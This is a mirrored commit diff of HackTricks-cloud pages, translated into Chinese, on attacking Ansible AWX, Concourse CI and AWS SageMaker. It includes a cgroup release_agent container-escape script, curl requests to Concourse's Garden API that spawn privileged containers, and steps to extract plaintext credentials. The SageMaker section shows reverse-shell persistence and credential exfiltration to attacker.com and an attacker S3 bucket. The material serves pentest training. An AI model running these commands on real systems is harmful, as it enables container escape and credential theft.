gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-20 16:33:17 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

Browse Source
This commit is contained in:
Translator
2025-08-01 10:10:48 +00:00
parent a937ae6f53
commit a74dc599e0
47 changed files with 526 additions and 343 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@@ -227,6 +227,7 @@
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)

117
src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
View File

@@ -4,55 +4,55 @@
## 基本信息
**Ansible Tower** 或其开源版本 [**AWX**](https://github.com/ansible/awx) 也被称为 **Ansible 的用户界面、仪表板和 REST API**。通过 **基于角色的访问控制**、作业调度和图形化库存管理，您可以通过现代用户界面管理您的 Ansible 基础设施。Tower 的 REST API 和命令行界面使其与当前工具和工作流程的集成变得简单。
**Ansible Tower** 或其开源版本 [**AWX**](https://github.com/ansible/awx) 也被称为 **Ansible 的用户界面、仪表板和 REST API**。通过 **基于角色的访问控制**、作业调度和图形化库存管理，您可以通过现代用户界面管理您的 Ansible 基础设施。Tower 的 REST API 和命令行界面使其易于集成到当前工具和工作流程中。
**Automation Controller 是 Ansible Tower 的一个更新版本，具有更多功能。**
### 区别
### 差异
根据 [**这篇文章**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00)，Ansible Tower 和 AWX 之间的主要区别在于获得的支持，Ansible Tower 具有额外的功能，如基于角色的访问控制、对自定义 API 的支持和用户定义的工作流。
### 技术栈
- **Web 界面**：这是用户可以管理库存、凭据、模板和作业的图形界面。它旨在直观，并提供可视化以帮助理解自动化作业的状态和结果。
- **REST API**：您可以在 Web 界面中执行的所有操作，也可以通过 REST API 执行。这意味着您可以将 AWX/Tower 与其他系统集成或编写脚本来执行通常在界面中执行的操作。
- **REST API**：您可以在 Web 界面中执行的所有操作，也可以通过 REST API 执行。这意味着您可以将 AWX/Tower 与其他系统集成或编写通常在界面中执行的操作脚本。
- **数据库**：AWX/Tower 使用数据库（通常是 PostgreSQL）来存储其配置、作业结果和其他必要的操作数据。
- **RabbitMQ**：这是 AWX/Tower 用于在不同组件之间通信的消息系统，特别是在 Web 服务和任务运行器之间。
- **Redis**：Redis 作为缓存和任务队列的后端。
### 逻辑组件
- **库存**：库存是一个 **主机（或节点）的集合**，可以对其 **运行作业**（Ansible 剧本）。AWX/Tower 允许您定义和分组库存，并支持动态库存，可以 **从其他系统获取主机列表**，如 AWS、Azure 等。
- **项目**：项目本质上是一个 **Ansible 剧本的集合**，来源于 **版本控制系统**（如 Git），以便在需要时提取最新的剧本。
- **模板**：作业模板定义 **如何运行特定的剧本**，指定 **库存**、**凭据** 和其他 **参数**。
- **凭据**：AWX/Tower 提供了一种安全的方式来 **管理和存储秘密，如 SSH 密钥、密码和 API 令牌**。这些凭据可以与作业模板关联，以便剧本在运行时具有必要的访问权限。
- **任务引擎**：这是魔法发生的地方。任务引擎基于 Ansible 构建，负责 **运行剧本**。作业被分派到任务引擎，然后使用指定的凭据在指定的库存上运行 Ansible 剧本。
- **库存**：库存是一个 **主机（或节点）的集合**，可以对其 **运行作业**（Ansible playbooks）。AWX/Tower 允许您定义和分组库存，并支持动态库存，可以 **从其他系统获取主机列表**，如 AWS、Azure 等。
- **项目**：项目本质上是一个 **Ansible playbooks 的集合**，来源于 **版本控制系统**（如 Git），以便在需要时提取最新的 playbooks。
- **模板**：作业模板定义 **特定 playbook 的运行方式**，指定 **库存**、**凭据** 和其他 **参数**。
- **凭据**：AWX/Tower 提供了一种安全的方式来 **管理和存储秘密，如 SSH 密钥、密码和 API 令牌**。这些凭据可以与作业模板关联，以便在运行时为 playbooks 提供必要的访问权限。
- **任务引擎**：这是魔法发生的地方。任务引擎基于 Ansible 构建，负责 **运行 playbooks**。作业被分派到任务引擎，然后使用指定的凭据在指定的库存上运行 Ansible playbooks。
- **调度程序和回调**：这些是 AWX/Tower 中的高级功能，允许 **作业在特定时间调度运行**或由外部事件触发。
- **通知**：AWX/Tower 可以根据作业的成功或失败发送通知。它支持多种通知方式，如电子邮件、Slack 消息、webhooks 等。
- **Ansible 剧本**：Ansible 剧本是配置、部署和编排工具。它们以自动化、可重复的方式描述系统的期望状态。剧本使用 YAML 编写，利用 Ansible 的声明性自动化语言描述需要执行的配置、任务和步骤。
- **Ansible Playbooks**：Ansible playbooks 是配置、部署和编排工具。它们以自动化、可重复的方式描述系统的期望状态。使用 YAML 编写，playbooks 使用 Ansible 的声明性自动化语言来描述需要执行的配置、任务和步骤。
### 作业执行流程
1. **用户交互**：用户可以通过 **Web 界面** 或 **REST API** 与 AWX/Tower 交互。这些提供了对 AWX/Tower 提供的所有功能的前端访问。
1. **用户交互**：用户可以通过 **Web 界面** 或 **REST API** 与 AWX/Tower 交互。这些提供了对 AWX/Tower 所有功能的前端访问。
2. **作业启动**：
- 用户通过 Web 界面或 API，根据 **作业模板** 启动作业。
- 作业模板包括对 **库存**、**项目**（包含剧本）和 **凭据** 的引用。
- 在作业启动时，向 AWX/Tower 后端发送请求以将作业排队执行。
- 用户通过 Web 界面或 API，根据 **作业模板** 启动作业。
- 作业模板包括对 **库存**、**项目**（包含 playbook）和 **凭据** 的引用。
- 在作业启动时，向 AWX/Tower 后端发送请求以将作业排队执行。
3. **作业排队**：
- **RabbitMQ** 处理 Web 组件与任务运行器之间的消息传递。一旦作业启动，消息将通过 RabbitMQ 发送到任务引擎。
- **Redis** 作为任务队列的后端，管理等待执行的排队作业。
- **RabbitMQ** 处理 Web 组件与任务运行器之间的消息传递。一旦作业启动，消息将通过 RabbitMQ 发送到任务引擎。
- **Redis** 作为任务队列的后端，管理等待执行的排队作业。
4. **作业执行**：
- **任务引擎** 拾取排队的作业。它从 **数据库** 中检索与作业相关的剧本、库存和凭据的必要信息。
- 使用从相关 **项目** 中检索的 Ansible 剧本，任务引擎在指定的 **库存** 节点上使用提供的 **凭据** 运行剧本。
- 当剧本运行时，其执行输出（日志、事实等）被捕获并存储在 **数据库** 中。
- **任务引擎** 拾取排队的作业。它从 **数据库** 中检索与作业相关的 playbook、库存和凭据的必要信息。
- 使用从相关 **项目** 中检索的 Ansible playbook，任务引擎在指定的 **库存** 节点上使用提供的 **凭据** 运行 playbook。
- 当 playbook 运行时，其执行输出（日志、事实等）被捕获并存储在 **数据库** 中。
5. **作业结果**：
- 一旦剧本完成运行，结果（成功、失败、日志）将保存到 **数据库** 中。
- 用户可以通过 Web 界面查看结果或通过 REST API 查询结果。
- 根据作业结果，可以发送 **通知** 以告知用户或外部系统作业的状态。通知可以是电子邮件、Slack 消息、webhooks 等。
- 一旦 playbook 运行完成，结果（成功、失败、日志）将保存到 **数据库** 中。
- 用户可以通过 Web 界面查看结果或通过 REST API 查询结果。
- 根据作业结果，可以发送 **通知** 以告知用户或外部系统作业的状态。通知可以是电子邮件、Slack 消息、webhooks 等。
6. **外部系统集成**：
- **库存** 可以从外部系统动态获取，允许 AWX/Tower 从 AWS、Azure、VMware 等来源提取主机。
- **项目**（剧本）可以从版本控制系统中提取，确保在作业执行期间使用最新的剧本。
- **调度程序和回调** 可用于与其他系统或工具集成，使 AWX/Tower 对外部触发器做出反应或在预定时间运行作业。
- **库存** 可以从外部系统动态获取，允许 AWX/Tower 从 AWS、Azure、VMware 等来源提取主机。
- **项目**（playbooks）可以从版本控制系统中获取，确保在作业执行期间使用最新的 playbooks。
- **调度程序和回调** 可用于与其他系统或工具集成，使 AWX/Tower 对外部触发器做出反应或在预定时间运行作业。
### AWX 实验室创建以进行测试
@@ -109,7 +109,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
4. **Project Roles**:
- **Admin**: 可以管理和修改项目。
- **Use**: 可以在作业模板中使用该项目。
- **Update**: 可以使用 SCM（源代码管理）更新项目。
- **Update**: 可以使用 SCM（源控制）更新项目。
5. **Inventory Roles**:
- **Admin**: 可以管理和修改库存。
- **Ad Hoc**: 可以在库存上运行临时命令。
@@ -134,4 +134,71 @@ docker exec tools_awx_1 awx-manage create_preload_data
</details>
## 使用 AnsibleHound 进行枚举和攻击路径映射
`AnsibleHound` 是一个开源的 BloodHound *OpenGraph* 收集器，使用 Go 编写，将 **只读** Ansible Tower/AWX/Automation Controller API 令牌转换为完整的权限图，准备在 BloodHound（或 BloodHound Enterprise）中进行分析。
### 这有什么用？
1. Tower/AWX REST API 非常丰富，暴露了您的实例所知道的 **每个对象和 RBAC 关系**。
2. 即使使用最低权限（**Read**）令牌，也可以递归枚举所有可访问的资源（组织、库存、主机、凭据、项目、作业模板、用户、团队……）。
3. 当原始数据转换为 BloodHound 架构时，您将获得与 Active Directory 评估中非常流行的 *攻击路径* 可视化能力相同的功能——但现在针对您的 CI/CD 资产。
因此，安全团队（和攻击者！）可以：
* 快速了解 **谁可以成为什么的管理员**。
* 识别 **可以从无特权帐户访问的凭据或主机**。
* 链接多个 “Read ➜ Use ➜ Execute ➜ Admin” 边缘，以获得对 Tower 实例或基础设施的完全控制。
### 先决条件
* 可通过 HTTPS 访问的 Ansible Tower / AWX / Automation Controller。
* 仅限 **Read** 的用户 API 令牌（从 *User Details → Tokens → Create Token → scope = Read* 创建）。
* Go ≥ 1.20 用于编译收集器（或使用预构建的二进制文件）。
### 构建和运行
```bash
# Compile the collector
cd collector
go build . -o build/ansiblehound
# Execute against the target instance
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
```
内部的 AnsibleHound 执行 *分页* `GET` 请求，针对（至少）以下端点，并自动跟随每个 JSON 对象中返回的 `related` 链接：
```
/api/v2/organizations/
/api/v2/inventories/
/api/v2/hosts/
/api/v2/job_templates/
/api/v2/projects/
/api/v2/credentials/
/api/v2/users/
/api/v2/teams/
```
所有收集的页面都合并到一个单一的 JSON 文件中（默认：`ansiblehound-output.json`）。
### BloodHound 转换
原始 Tower 数据随后被 **转换为 BloodHound OpenGraph**，使用以 `AT`（Ansible Tower）为前缀的自定义节点：
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
以及建模关系/权限的边：
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
结果可以直接导入到 BloodHound：
```bash
neo4j stop # if BloodHound CE is running locally
bloodhound-import ansiblehound-output.json
```
您可以选择上传 **自定义图标**，以便新节点类型在视觉上有所区别：
```bash
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
```
### 防御与攻击考虑
* *读取* 令牌通常被认为是无害的，但仍然泄露 **完整拓扑和每个凭证元数据**。将其视为敏感信息！
* 强制 **最小权限** 并轮换/撤销未使用的令牌。
* 监控 API 以防止过度枚举（多个连续的 `GET` 请求，高分页活动）。
* 从攻击者的角度来看，这是一种完美的 *初始立足点 → 权限提升* 技术，适用于 CI/CD 管道。
## 参考
* [AnsibleHound – Ansible Tower/AWX 的 BloodHound 收集器](https://github.com/TheSleekBoyCompany/AnsibleHound)
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
{{#include ../banners/hacktricks-training.md}}

32
src/pentesting-ci-cd/concourse-security/concourse-architecture.md
View File

@@ -1,37 +1,37 @@
# Concourse 架构
## Concourse 架构
# Concourse Architecture
{{#include ../../banners/hacktricks-training.md}}
[**来自 Concourse 文档的相关数据：**](https://concourse-ci.org/internals.html)
## Concourse Architecture
### 架构
[**来自Concourse文档的相关数据：**](https://concourse-ci.org/internals.html)
### Architecture
![](<../../images/image (187).png>)
#### ATC: web UI 和构建调度器
#### ATC: web UI & build scheduler
ATC 是 Concourse 的核心。它运行 **web UI 和 API**，并负责所有管道的 **调度**。它 **连接到 PostgreSQL**，用于存储管道数据（包括构建日志）。
ATC是Concourse的核心。它运行**web UI和API**，并负责所有管道**调度**。它**连接到PostgreSQL**，用于存储管道数据（包括构建日志）。
[checker](https://concourse-ci.org/checker.html) 的职责是持续检查资源的新版本。 [scheduler](https://concourse-ci.org/scheduler.html) 负责为作业调度构建，而 [build tracker](https://concourse-ci.org/build-tracker.html) 负责运行任何已调度的构建。 [garbage collector](https://concourse-ci.org/garbage-collector.html) 是用于清理任何未使用或过时对象（如容器和卷）的机制。
[checker](https://concourse-ci.org/checker.html)的职责是持续检查资源的新版本。[scheduler](https://concourse-ci.org/scheduler.html)负责为作业调度构建，而[build tracker](https://concourse-ci.org/build-tracker.html)负责运行任何已调度的构建。[garbage collector](https://concourse-ci.org/garbage-collector.html)是用于清理任何未使用或过时对象（如容器和卷）的机制。
#### TSA: 工作节点注册与转发
#### TSA: worker registration & forwarding
TSA 是一个 **自定义构建的 SSH 服务器**，仅用于安全地 **注册** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) 到 [ATC](https://concourse-ci.org/internals.html#component-atc)。
TSA是一个**自定义构建的SSH服务器**，仅用于安全地**注册**[**workers**](https://concourse-ci.org/internals.html#architecture-worker)与[ATC](https://concourse-ci.org/internals.html#component-atc)。
TSA 默认在端口 `2222` 上监听，通常与 [ATC](https://concourse-ci.org/internals.html#component-atc) 同处一地，并位于负载均衡器后面。
TSA默认监听端口`2222`，通常与[ATC](https://concourse-ci.org/internals.html#component-atc)共同放置，并位于负载均衡器后面。
**TSA 通过 SSH 连接实现 CLI，** 支持 [**这些命令**](https://concourse-ci.org/internals.html#component-tsa)。
**TSA通过SSH连接实现CLI，**支持[**这些命令**](https://concourse-ci.org/internals.html#component-tsa)。
#### Workers
为了执行任务，Concourse 必须有一些工作节点。这些工作节点通过 [TSA](https://concourse-ci.org/internals.html#component-tsa) **注册自己**，并运行服务 [**Garden**](https://github.com/cloudfoundry-incubator/garden) 和 [**Baggageclaim**](https://github.com/concourse/baggageclaim)。
为了执行任务，Concourse必须有一些workers。这些workers通过[TSA](https://concourse-ci.org/internals.html#component-tsa)进行**自我注册**，并运行服务[**Garden**](https://github.com/cloudfoundry-incubator/garden)和[**Baggageclaim**](https://github.com/concourse/baggageclaim)。
- **Garden**: 这是 **容器管理 API**，通常通过 **HTTP** 在 **端口 7777** 上运行。
- **Baggageclaim**: 这是 **卷管理 API**，通常通过 **HTTP** 在 **端口 7788** 上运行。
- **Garden**：这是**容器管理API**，通常通过**HTTP**在**端口7777**上运行。
- **Baggageclaim**：这是**卷管理API**，通常通过**HTTP**在**端口7788**上运行。
## 参考
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)

50
src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
View File

@@ -1,8 +1,10 @@
# Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
## Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
### 用户角色与权限
@@ -15,14 +17,14 @@ Concourse 具有五个角色：
- **查看者**：团队查看者对团队及其管道具有 **“只读”** 访问权限。
> [!NOTE]
> 此外，**所有者、成员、管道操作员和查看者的权限可以通过配置 RBAC 进行修改**（更具体地说是配置其操作）。有关更多信息，请参见：[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> 此外，**所有者、成员、管道操作员和查看者的权限可以通过配置 RBAC 进行修改**（更具体地说是配置其操作）。有关更多信息，请阅读：[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
请注意，Concourse **将管道分组到团队中**。因此，属于某个团队的用户将能够管理这些管道，并且 **可能存在多个团队**。用户可以属于多个团队，并在每个团队中拥有不同的权限。
### Vars & Credential Manager
在 YAML 配置中，您可以使用语法 `((_source-name_:_secret-path_._secret-field_))` 配置值。\
[来自文档：](https://concourse-ci.org/vars.html#var-syntax) **source-name 是可选的**，如果省略，将使用 [集群范围的凭证管理器](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)，或者可以 [静态提供值](https://concourse-ci.org/vars.html#static-vars)。\
[来自文档：](https://concourse-ci.org/vars.html#var-syntax) **source-name 是可选的**，如果省略，将使用 [集群范围的凭证管理器](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)，或者可以 [静态提供](https://concourse-ci.org/vars.html#static-vars) 值。\
**可选的 \_secret-field**\_ 指定要读取的获取的秘密上的字段。如果省略，凭证管理器可以选择从获取的凭证中读取“默认字段”，如果该字段存在。\
此外，_**secret-path**_ 和 _**secret-field**_ 如果 **包含特殊字符**（如 `.` 和 `:`），可以用双引号 `"..."` 括起来。例如，`((source:"my.secret"."field:1"))` 将把 _secret-path_ 设置为 `my.secret`，并将 _secret-field_ 设置为 `field:1`。
@@ -69,7 +71,7 @@ vars: { tag: 1.13 }
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- 获取配置的 **目标**：
- `fly targets`
- 获取配置的 **目标连接** 是否仍然 **有效**：
- 检查配置的 **目标连接** 是否仍然 **有效**：
- `fly -t <target> status`
- 获取用户在指定目标下的 **角色**：
- `fly -t <target> userinfo`
@@ -109,11 +111,11 @@ rm /tmp/secrets.txt
```
#### 容器与工作者
- 列出 **工作者**:
- 列出 **workers**:
- `fly -t <target> workers`
- 列出 **容器**:
- 列出 **containers**:
- `fly -t <target> containers`
- 列出 **构建**（查看正在运行的内容）:
- 列出 **builds** (查看正在运行的内容):
- `fly -t <target> builds`
### Concourse 攻击
@@ -125,11 +127,11 @@ rm /tmp/secrets.txt
#### 秘密和参数枚举
在上一节中，我们看到如何 **获取管道使用的所有秘密名称和变量**。**变量可能包含敏感信息**，而 **秘密的名称在稍后尝试窃取时将非常有用**。
在上一节中，我们看到如何 **获取管道使用的所有秘密名称和变量**。这些 **变量可能包含敏感信息**，而 **秘密的名称在稍后尝试窃取** 时将非常有用。
#### 在运行或最近运行的容器内会话
如果您拥有足够的权限（**成员角色或更高**），您将能够 **列出管道和角色**，并使用以下命令直接进入 `<pipeline>/<job>` **容器**：
如果您拥有足够的权限 (**member role 或更高**) ，您将能够 **列出管道和角色**，并使用以下命令直接进入 `<pipeline>/<job>` **容器**：
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -142,7 +144,7 @@ fly -t tutorial intercept # To be presented a prompt with all the options
#### 管道创建/修改
如果您拥有足够的权限（**成员角色或更高**），您将能够 **创建/修改新管道。** 请查看这个例子：
如果您拥有足够的权限（**成员角色或更高**），您将能够 **创建/修改新管道。** 请查看这个示例：
```yaml
jobs:
- name: simple
@@ -260,11 +262,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
> 正如您可能注意到的，这只是一个 [**常规的 release_agent 逃逸**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)，只是修改了节点中 cmd 的路径
> 正如您可能注意到的，这只是一个 [**常规的 release_agent 逃逸**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)，只是修改了节点中 cmd 的路径。
#### 从 Worker 容器逃逸到节点
一个常规的 release_agent 逃逸加上小的修改就足够了：
一个常规的 release_agent 逃逸，稍作修改即可满足此需求：
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -291,9 +293,9 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### 从 Web 容器逃逸到节点
#### 从Web容器逃逸到节点
即使 Web 容器禁用了某些防御，它也**不是以常见的特权容器运行**（例如，您**无法** **挂载**，并且**能力**非常**有限**，因此所有简单的逃逸方法都无效）。
即使Web容器禁用了某些防御，它也**不是以常见的特权容器运行**（例如，您**无法** **挂载**，并且**能力**非常**有限**，因此所有简单的逃逸方法都无效）。
然而，它以明文形式存储**本地凭据**：
```bash
@@ -304,7 +306,7 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
您可以使用该凭据**登录到网络服务器**并**创建一个特权容器并逃逸到节点**。
您可以使用这些凭据**登录到网络服务器**并**创建一个特权容器并逃逸到节点**。
在环境中，您还可以找到信息以**访问concourse使用的postgresql**实例（地址、**用户名**、**密码**和数据库等其他信息）：
```bash
@@ -327,15 +329,15 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### 滥用 Garden 服务 - 不是一个真正的攻击
#### 滥用 Garden 服务 - 并非真正的攻击
> [!WARNING]
> 这些只是关于该服务的一些有趣的笔记，但由于它仅在本地主机上监听，这些笔记不会带来我们尚未利用过的任何影响
> 这些只是关于该服务的一些有趣笔记，但由于它仅在本地主机上监听，这些笔记不会带来我们尚未利用过的影响
默认情况下，每个 concourse worker 将在 7777 端口运行一个 [**Garden**](https://github.com/cloudfoundry/garden) 服务。该服务由 Web 主机用于指示 worker **需要执行的内容**（下载镜像并运行每个任务）。这对攻击者来说听起来不错，但有一些很好的保护措施：
默认情况下，每个 concourse worker 将在 7777 端口运行一个 [**Garden**](https://github.com/cloudfoundry/garden) 服务。该服务由 Web 主机使用，以指示 worker **需要执行的内容**（下载镜像并运行每个任务）。这对攻击者来说听起来不错，但有一些很好的保护措施：
- 它仅**在本地暴露**（127..0.0.1），我认为当 worker 使用特殊的 SSH 服务对 Web 进行身份验证时，会创建一个隧道，以便 Web 服务器可以**与每个 worker 内部的 Garden 服务进行通信**。
- Web 服务器**每隔几秒监控运行的容器**，并且**意外的**容器会被**删除**。因此，如果您想要**运行自定义容器**，您需要**篡改** Web 服务器与 Garden 服务之间的**通信**。
- 它仅在 **本地暴露**（127..0.0.1），我认为当 worker 使用特殊的 SSH 服务对 Web 进行身份验证时，会创建一个隧道，以便 Web 服务器可以 **与每个 worker 内的 Garden 服务进行通信**。
- Web 服务器 **每隔几秒监控运行的容器**，并且 **意外的** 容器会被 **删除**。因此，如果您想要 **运行自定义容器**，您需要 **篡改** Web 服务器与 Garden 服务之间的 **通信**。
Concourse workers 以高容器权限运行：
```
@@ -348,12 +350,12 @@ Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
然而，像**挂载**节点的 /dev 设备或 release_agent **将不起作用**（因为具有节点文件系统的真实设备不可访问，只有一个虚拟设备）。我们无法访问节点的进程，因此在没有内核漏洞的情况下逃离节点变得复杂。
然而，像**挂载**节点的/dev设备或release_agent这样的技术**无法工作**（因为节点的真实设备及其文件系统不可访问，只有一个虚拟设备）。我们无法访问节点的进程，因此在没有内核漏洞的情况下逃离节点变得复杂。
> [!NOTE]
> 在上一节中，我们看到如何从特权容器中逃脱，因此如果我们可以在**当前** **工作者**创建的**特权容器**中**执行**命令，我们就可以**逃离到节点**。
请注意，在玩 concourse 时，我注意到当一个新容器被生成以运行某些内容时，容器进程可以从工作者容器访问，因此就像一个容器在内部创建一个新容器一样。
请注意，在玩concourse时，我注意到当一个新容器被生成以运行某些内容时，容器进程可以从工作者容器访问，因此就像一个容器在内部创建一个新容器一样。
**进入一个正在运行的特权容器**
```bash
@@ -376,7 +378,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**创建一个新的特权容器**
您可以非常轻松地创建一个新的容器（只需运行一个随机 UID）并在其上执行某些操作：
您可以非常轻松地创建一个新容器（只需运行一个随机 UID）并在其上执行某些操作：
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
@@ -411,6 +413,6 @@ Accept-Encoding: gzip.
```
## 参考
- https://concourse-ci.org/vars.html
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

4
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
View File

@@ -1 +1,3 @@
# Gh Actions - 伪造工件
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

4
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
View File

@@ -1 +1,3 @@
# GH Actions - 缓存中毒
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

4
src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
View File

@@ -1 +1,3 @@
# Gh Actions - 上下文脚本注入
# Gh Actions - Context Script Injections
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/aws-security/aws-persistence/README.md
View File

@@ -1 +1,3 @@
# AWS - 持久性
{{#include ../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
View File

@@ -1,12 +1,14 @@
# AWS - SageMaker 生命周期配置持久性
# Aws Sagemaker Persistence
## 持久性技术概述
{{#include ../../../banners/hacktricks-training.md}}
本节概述了通过滥用生命周期配置（LCC）在 SageMaker 中获得持久性的方法，包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行，并可以在重启后保持持久性。大多数技术需要出站网络访问，但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。
#### 注意：SageMaker 笔记本实例本质上是专门为机器学习工作负载配置的托管 EC2 实例。
## Overview of Persistence Techniques
## 所需权限
* 笔记本实例：
本节概述了通过滥用生命周期配置（LCCs）在SageMaker中获得持久性的几种方法，包括反向Shell、定时任务、通过IMDS进行凭证盗窃和SSH后门。这些脚本以实例的IAM角色运行，并且可以在重启后保持有效。大多数技术需要出站网络访问，但如果环境处于“仅VPC”模式，使用AWS控制平面上的服务仍然可以成功。
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
## Required Permissions
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
@@ -21,7 +23,7 @@ sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## 在笔记本实例上设置生命周期配置
## 设置笔记本实例的生命周期配置
### 示例 AWS CLI 命令：
```bash
@@ -72,7 +74,7 @@ aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --s
```
## Studio 应用程序生命周期配置的类型
生命周期配置可以特定应用于不同的 SageMaker Studio 应用程序类型：
生命周期配置可以具体应用于不同的 SageMaker Studio 应用程序类型：
* JupyterServer: 在 Jupyter 服务器启动期间运行脚本，适合用于持久性机制，如反向 shell 和 cron 作业。
* KernelGateway: 在内核网关应用启动期间执行，适用于初始设置或持久访问。
* CodeEditor: 应用于代码编辑器 (Code-OSS)，启用在代码编辑会话开始时执行的脚本。
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# AWS - 后期利用
{{#include ../../../banners/hacktricks-training.md}}

13
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
View File

@@ -12,26 +12,27 @@
### Amazon Macie - 绕过 `Reveal Sample` 完整性检查
AWS Macie 是一种安全服务，能够自动检测 AWS 环境中的敏感数据，例如凭证、个人身份信息 (PII) 和其他机密数据。当 Macie 识别到敏感凭证（例如存储在 S3 桶中的 AWS 秘密密钥）时，它会生成一个发现，允许所有者查看检测到的数据的“样本”。通常，一旦敏感文件从 S3 桶中删除，预计该秘密将无法再被检索。
AWS Macie 是一种安全服务，能够自动检测 AWS 环境中的敏感数据，例如凭证、个人身份信息 (PII) 和其他机密数据。当 Macie 识别到敏感凭证（例如存储在 S3 桶中的 AWS 秘钥）时，它会生成一个发现，允许所有者查看检测到的数据的“样本”。通常，一旦敏感文件从 S3 桶中删除，预计该秘密将无法再被检索。
然而，已识别出一种 **绕过** 方法，攻击者在具有足够权限的情况下可以 **重新上传一个同名** 但包含不同的、非敏感的虚拟数据的文件。这导致 Macie 将新上传的文件与原始发现关联，从而允许攻击者使用 **“Reveal Sample” 功能** 提取先前检测到的秘密。此问题构成了重大安全风险，因为被认为已删除的秘密仍然可以通过此方法检索。
然而，已识别出一种 **绕过** 方法，攻击者在具有足够权限的情况下可以 **重新上传一个同名** 但包含不同、非敏感虚拟数据的文件。这导致 Macie 将新上传的文件与原始发现关联，从而允许攻击者使用 **“Reveal Sample” 功能** 提取先前检测到的秘密。此问题构成了重大安全风险，因为被认为已删除的秘密仍然可以通过此方法检索。
![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
**重现步骤：**
